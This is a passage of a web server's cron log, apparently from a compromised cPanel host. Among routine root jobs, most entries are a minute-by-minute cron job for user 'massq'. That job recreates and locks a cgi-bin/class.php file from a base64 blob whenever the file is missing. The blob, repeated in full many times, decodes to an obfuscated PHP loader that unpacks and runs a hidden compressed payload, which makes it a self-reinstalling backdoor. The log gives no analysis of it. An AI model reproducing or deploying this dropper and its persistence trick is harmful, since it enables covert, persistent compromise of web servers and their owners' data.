GwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:15:01 server CROND[18925]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 16:15:01 server CROND[18926]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 11 16:15:01 server CROND[18927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:15:01 server CROND[18928]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 16:16:01 server CROND[19140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:17:01 server CROND[19193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:18:01 server CROND[19257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:19:01 server CROND[19342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:20:01 server CROND[19405]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 16:20:01 server CROND[19406]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 16:20:01 server CROND[19408]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 16:20:01 server CROND[19409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:20:01 server CROND[19410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 16:21:01 server CROND[19588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:22:01 server CROND[19672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:23:01 server CROND[19751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:24:01 server CROND[19816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:25:01 server CROND[19875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 16:25:01 server CROND[19876]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 11 16:25:01 server CROND[19877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:25:01 server CROND[19878]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 16:26:01 server CROND[19993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:27:01 server CROND[20198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:27:01 server CROND[20199]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 16:28:01 server CROND[20267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 